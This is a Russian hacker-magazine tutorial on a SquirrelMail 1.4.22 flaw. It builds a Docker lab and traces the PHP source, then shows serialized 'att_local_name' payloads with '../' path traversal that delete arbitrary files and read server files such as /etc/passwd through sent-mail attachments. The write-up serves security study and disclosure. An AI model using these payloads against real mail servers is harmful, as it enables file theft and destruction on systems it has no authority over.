Хакер - Как подчинить белку. Учимся эксплуатировать новую уязвимость в почтовике SquirrelMail
nopaywall

Содержание статьи
Почти год назад я писал о другой уязвимости SquirrelMail — тогда речь шла об RCE, а проблема была в некорректной фильтрации параметров, которые отправляются бинарнику sendmail. Через месяц после этого, в мае 2017 года, исследователь из TROOPERS18 Флориан Груноу (Florian Grunow) обнаружил еще одну критическую уязвимость в этом же продукте. На сей раз проблема закралась в функцию прикрепления файлов к сообщению, а успешная эксплуатация позволяет атакующему читать файлы на целевой системе.
Груноу целый год не публиковал информацию о найденной уязвимости, ожидая, пока ее закроют. Однако разработчики за все это время не удосужились ему ответить. Терпение у исследователя кончилось, и он выложил информацию в публичный доступ.
Как тестировать уязвимость
Перво-наперво поднимем стенд. Почтовые сервисы — это такой тип приложений, развертывание которых дает тебе как минимум +3 к навыкам администрирования. Тут много подводных камней, и без погружения в конфиги не обойтись. Хорошо хоть старый добрый Docker может выручить. Если не хочешь возиться с настройкой, то качай готовый контейнер из моего репозитория и переходи к следующему абзацу.
Запускаем докер и устанавливаем необходимый набор сервисов.
docker run -ti -p80:80 --rm --name=squirrel --hostname=squirrel debian /bin/bash
apt-get update && apt-get install -y sendmail wget nano apache2 dovecot-core dovecot-imapd php
Скачиваем один из последних дистрибутивов SquirrelMail. Ссылка легко может быть недействительной, так как разработчики постоянно обновляют сборки, удаляя при этом старые архивы.
install -d /usr/local/src/downloads
cd /usr/local/src/downloads
wget http://prdownloads.sourceforge.net/squirrelmail/squirrelmail-webmail-1.4.22.tar.gz
mkdir /usr/local/squirrelmail
cd /usr/local/squirrelmail
mkdir data temp attach
chown www-data:www-data data temp attach
tar xvzf /usr/local/src/downloads/squirrelmail-webmail-1.4.22.tar.gz
mv squirrelmail-webmail-1.4.22 www
Теперь нужно создать конфигурационный файл для Squirrell. Для этих целей существует конфигуратор.
www/configure
Или по старинке можешь вручную отредактировать дефолтный конфигурационный файл www/config/config_default.php.
Для нас главное, что в нем нужно указать, — это пути, по которым будут располагаться временные файлы, в том числе прикрепляемые к письмам. По умолчанию пути такие:
- Data Directory:
/var/local/squirrelmail/data/. - Attachment Directory:
/var/local/squirrelmail/attach/.
Меняем их в соответствии с реальным положением вещей.
sed "s/domain = 'example.com'/domain = 'visualhack'/; s#/var/local/squirrelmail/#/usr/local/squirrelmail/#g" /usr/local/squirrelmail/www/config/config_default.php > /usr/local/squirrelmail/www/config/config.php
Приближаемся к финишной прямой — настройке почтовых сервисов. Указываем, какие протоколы будем использовать.
echo "protocols = imap" > /etc/dovecot/dovecot.conf
Разрешаем авторизацию по файлу паролей.
echo \!include auth-passwdfile.conf.ext > /etc/dovecot/conf.d/10-auth.conf
Теперь добавим юзера в dovecot, так как для успешной эксплуатации уязвимости нужно быть авторизованным в системе.
useradd -G mail attacker
install -d -g attacker -o attacker /home/attacker
cat /etc/passwd|grep attacker|sed 's/x/{PLAIN}passw/; s/.$//' > /etc/dovecot/users
Не забываем прописать в конфиге Apache алиас для доступа к дистрибутиву SquirrelMail и доступ на чтение папки, в которой он находится.
cat >>/etc/apache2/apache2.conf <<EOL
Alias /squirrelmail /usr/local/squirrelmail/www
<Directory /usr/local/squirrelmail>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
EOL
Вот вроде бы и все приготовления. Теперь запускаем требуемые сервисы и переходим непосредственно к изучению уязвимости.
service dovecot start && service apache2 start && service sendmail start
Форма авторизации SquirrelMailДетали
Проблема кроется в функции создания нового письма, так что с этого и начнем. Авторизуемся и откроем скрипт compose.php.
Страница создания нового письма в SquirrelMailПриложение SquirrelMail написано на PHP, поэтому никаких проблем с чтением исходников не возникает. За вывод всей формы отвечает метод showInputForm.
/src/compose.php
647: if ($compose_new_win == '1') {
648: compose_Header($color, $mailbox);
649: } else {
650: displayPageHeader($color, $mailbox);
651: }
...
695: showInputForm($session, $values);
Ниже окошка под текст письма мы видим место для прикрепления файлов. Давай вооружимся сниффером, приаттачим что-нибудь и глянем на этот процесс поближе.
Запрос на прикрепление файла к письмуПри нажатии кнопки Attach уходит POST-запрос на все тот же скрипт compose.php. В форме передается параметр attach, и отрабатывает следующий кусок кода:
/src/compose.php
92: sqgetGlobalVar('attach',$attach, SQ_POST);
...
582: } elseif (isset($attach)) {
...
588: if (saveAttachedFiles($session)) {
589: plain_error_message(_("Could not move/copy file. File not attached"), $color);
590: }
591: if ($compose_new_win == '1') {
592: compose_Header($color, $mailbox);
593: } else {
594: displayPageHeader($color, $mailbox);
595: }
596: showInputForm($session);
597: }
Как видишь, в строке 588 вызывается функция saveAttachedFiles, она выполняет обработку файла и сохранение его во временной директории. Эта директория задается настройкой $attachment_dir в конфигурационном файле Squirrel config.php.
/src/compose.php
1562: function saveAttachedFiles($session) {
1563: global $_FILES, $attachment_dir, $username,
1564: $data_dir, $composeMessage;
...
1567: if (! is_uploaded_file($_FILES['attachfile']['tmp_name']) ) {
1568: return true;
1569: }
1570:
1571: $hashed_attachment_dir = getHashedDir($username, $attachment_dir);
Название файла генерируется самописной функцией GenerateRandomString, которая создает строку заданной длины из рандомных буквенно-цифровых символов.
/src/compose.php
1572: $localfilename = GenerateRandomString(32, '', 7);
1573: $full_localfilename = "$hashed_attachment_dir/$localfilename";
1574: while (file_exists($full_localfilename)) {
1575: $localfilename = GenerateRandomString(32, '', 7);
1576: $full_localfilename = "$hashed_attachment_dir/$localfilename";
1577: }
/functions/strings.php
614: function GenerateRandomString($size, $chars, $flags = 0) {
615: if ($flags & 0x1) {
616: $chars .= 'abcdefghijklmnopqrstuvwxyz';
617: }
618: if ($flags & 0x2) {
619: $chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
620: }
621: if ($flags & 0x4) {
622: $chars .= '0123456789';
623: }
...
629: sq_mt_randomize(); /* Initialize the random number generator */
630:
631: $String = '';
632: $j = strlen( $chars ) - 1;
633: while (strlen($String) < $size) {
634: $String .= $chars{mt_rand(0, $j)};
635: }
636:
637: return $String;
638: }
Затем временный файл, который был создан интерпретатором PHP, переименовывается и складируется в директорию для хранения аттачей.
/src/compose.php
1581: if (!@rename($_FILES['attachfile']['tmp_name'], $full_localfilename)) {
1582: if (!@move_uploaded_file($_FILES['attachfile']['tmp_name'],$full_localfilename)) {
1583: return true;
1584: }
1585: }
Созданный временный файл для прикрепления к письмуВ завершение вызывается метод initAttachment класса Message. Он собирает все файлы, что были прикреплены к письму, в одном массиве entities; элементы этого массива также экземпляры класса Message.
/src/compose.php
1586: $type = strtolower($_FILES['attachfile']['type']);
1587: $name = $_FILES['attachfile']['name'];
1588: $composeMessage->initAttachment($type, $name, $localfilename);
1589: }
/class/mime/Message.class.php
1091: function initAttachment($type, $name, $location) {
1092: $attachment = new Message();
1093: $mime_header = new MessageHeader();
1094: $mime_header->setParameter('name', $name);
1095: $pos = strpos($type, '/');
1096: if ($pos > 0) {
1097: $mime_header->type0 = substr($type, 0, $pos);
1098: $mime_header->type1 = substr($type, $pos+1);
1099: } else {
1100: $mime_header->type0 = $type;
1101: }
1102: $attachment->att_local_name = $location;
1103: $disposition = new Disposition('attachment');
1104: $disposition->properties['filename'] = $name;
1105: $mime_header->disposition = $disposition;
1106: $attachment->mime_header = $mime_header;
1107: $this->entities[]=$attachment;
1108: }
Отдельного внимания заслуживает строка 1102, где полный путь до файла вместе с именем сохраняются в свойстве att_local_name. Когда этот код отрабатывает, $composeMessage->entities содержит все прикрепленные к письму файлы.
После этого выполнение вновь передается функции showInputForm. Только теперь у нас имеются прикрепленные файлы, и в дело вступают следующие участки кода:
/src/compose.php
1136: function showInputForm ($session, $values=false) {
...
1366: // composeMessage can be empty when coming from a restored session
1367: if (is_object($composeMessage) && $composeMessage->entities)
1368: $attach_array = $composeMessage->entities;
...
1463: echo addHidden('composesession', $composesession).
1464: addHidden('querystring', $queryString).
1465: (!empty($attach_array) ?
1466: addHidden('attachments', serialize($attach_array)) : '').
1467: "</form>\n";
Помимо вывода списка сохраненных файлов, в форму добавляется скрытое поле attachments, которое содержит все метаданные этих файлов в виде десериализованной и URL-кодированной переменной $composeMessage->entities.
Сериализованные данные с прикрепленными к файлу документамиДанные из этого поля считаются легитимными, не проходят никакой фильтрации и в дальнейшем используются при работе с создаваемым сообщением (разумеется, предварительно пройдя через функцию unserialize).
/src/compose.php
115: sqgetGlobalVar('attachments', $attachments, SQ_POST);
...
371: if (!empty($attachments)) {
372: $attachments = unserialize($attachments);
373: if (!empty($attachments) && is_array($attachments))
374: $composeMessage->entities = $attachments;
375: }
Удаление произвольных файлов
Самое интересное происходит при дальнейшей обработке этих данных. Начнем с возможности удаления уже прикрепленных аттачей. Отмечаем файл и жмем Delete Selected Attachments, предварительно включив перехват запросов.
Запрос на удаление прикрепленного файлаОтрабатывает следующий участок кода, отвечающий за удаление:
/src/compose.php
113: sqgetGlobalVar('do_delete', $do_delete, SQ_POST);
...
613: } elseif (isset($do_delete)) {
...
625: if (isset($delete) && is_array($delete)) {
626: foreach($delete as $index) {
627: if (!empty($composeMessage->entities) && isset($composeMessage->entities[$index])) {
628: $composeMessage->entities[$index]->purgeAttachments();
631: unset ($composeMessage->entities[$index]);
632: }
В нем вызывается метод purgeAttachments, который стирает файлы с диска при помощи PHP-функции unlink.
/class/mime/Message.class.php
1114: function purgeAttachments() {
1115: if ($this->att_local_name) {
1116: global $username, $attachment_dir;
1117: $hashed_attachment_dir = getHashedDir($username, $attachment_dir);
1118: if ( file_exists($hashed_attachment_dir . '/' . $this->att_local_name) ) {
1119: unlink($hashed_attachment_dir . '/' . $this->att_local_name);
1120: }
1121: }
А вот и свойство att_local_name, на которое нужно обратить внимание. Это имя удаляемого файла. Оно попадет прямиком в функцию unlink. По задумке разработчиков это лишь название, которое было автоматически сгенерировано во время загрузки аттача. И все было бы хорошо, только вот данные о загруженных файлах берутся из формы, а именно — из сериализованного поля attachments. Это означает, что можно легко контролировать название удаляемого файла, просто меняя его в запросе.
В моем случае это выглядит так.
...s:14:"att_local_name";s:32:"76Nh2n1ufiHXcSlNYvKe6SbBfpcQC1hG";}}
Думаю, ты уже догадался, что тут можно провернуть. Налицо стандартный path traversal: при помощи ../ можно выйти из директории с аттачами, прогуляться по диску и удалить что-нибудь не предусмотренное логикой работы скрипта. Если ты на память не помнишь, как устроен формат сериализованных данных в PHP, то подробную информацию можешь найти на просторах интернета или в моей статье о внедрении объектов в PHP.
Специально создам тестовый файл owned в директории /tmp, так как удалять можно только файлы, разрешенные на запись всем пользователям или созданные юзером, от которого работает веб-сервер (в моем случае это www-data). Теперь изменяем свойство att_local_name и отправляем запрос.
...s:14:"att_local_name";s:24:"../../../../../tmp/owned";}}
Файл, конечно же, удалится.
Успешное удаление произвольного файла через уязвимостьЧтение произвольных файлов
Тут история немного другая, нам нужно заглянуть в функцию отправки сообщения deliverMessage.
/src/compose.php
1638: function deliverMessage(&$composeMessage, $draft=false) {
1639: global $send_to, $send_to_cc, $send_to_bcc, $mailprio, $subject, $body,
1640: $username, $popuser, $usernamedata, $identity, $idents, $data_dir,
1641: $request_mdn, $request_dr, $default_charset, $color, $useSendmail,
1642: $domain, $action, $default_move_to_sent, $move_to_sent;
1643: global $imapServerAddress, $imapPort, $imap_stream_options, $sent_folder, $key;
...
1705: /* multipart messages */
1706: if (count($composeMessage->entities)) {
Во время выполнения проверяется наличие аттачей. Затем начинается доставка сообщения. В зависимости от установленных настроек в конфиге выполнение программы может прыгать на разные ветки, но в итоге все придет к выполнению метода mail из класса Deliver.
/src/compose.php
1826: if ($stream) {
1827: $deliver->mail($composeMessage, $stream, $reply_id, $reply_ent_id);
1828: $succes = $deliver->finalizeStream($stream);
1829: }
/class/deliver/Deliver.class.php
075: function mail(&$message, $stream=false, $reply_id=0, $reply_ent_id=0,
076: $imap_stream=NULL, $extra=NULL) {
...
138: $this->send_mail($message, $header, $boundary, $stream, $raw_length, $extra);
Далее он выполняет вызов send_mail.
/class/deliver/Deliver.class.php
167: function send_mail($message, $header, $boundary, $stream=false,
168: &$raw_length, $extra=NULL) {
169:
170: if ($stream) {
171: $this->preWriteToStream($header);
172: $this->writeToStream($stream, $header);
173: }
174: $this->writeBody($message, $stream, $raw_length, $boundary);
175: }
Выполнение переходит к методу writeBody, который отправляет тело созданного сообщения, в том числе и прикрепленные файлы. Тут логика аналогична удалению: если указано свойство att_local_name, то оно используется в качестве имени файла, только на этот раз для чтения из временной директории с аттачами.
/class/deliver/Deliver.class.php
338: } elseif ($message->att_local_name) {
339: global $username, $attachment_dir;
340: $hashed_attachment_dir = getHashedDir($username, $attachment_dir);
341: $filename = $message->att_local_name;
342: $file = fopen ($hashed_attachment_dir . '/' . $filename, 'rb');
343:
344: while ($tmp = fread($file, 570)) {
...
356: fclose($file);
357: }
Поэтому, манипулируя att_local_name, мы можем отправлять себе на почту локальные файлы с сервера, доступные для чтения.
Перехватим запрос с отправкой сообщения и укажем /etc/passwd в качестве аттача.
...s:14:"att_local_name";s:24:"../../../../../etc/passwd";}}
Измененный запрос на отправку письма в SquirrelMailНеобязательно даже дожидаться доставки письма или вообще отправлять его на валидный адрес, чтобы прочитать файл. Достаточно после нажатия кнопки «Отправить» перейти в раздел Sent, где хранятся копии отправленных писем. Затем открыть нужное и загрузить требуемый аттач с помощью кнопки Download.
Чтение произвольных файлов в SquirrelMailВыводы
Увы, даже настолько простые уязвимости могут легко оставаться незамеченными на протяжении многих лет. В данной ситуации удивляет скорее бездействие команды разработчиков SquirrelMail. Такие возможности, как чтение и удаление произвольных файлов в системе, вряд ли можно считать секьюрной фичей. Я все же надеюсь, что патч, который исправит этот досадный баг, выйдет в ближайшее время и очередной продукт станет чуточку безопаснее.
Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall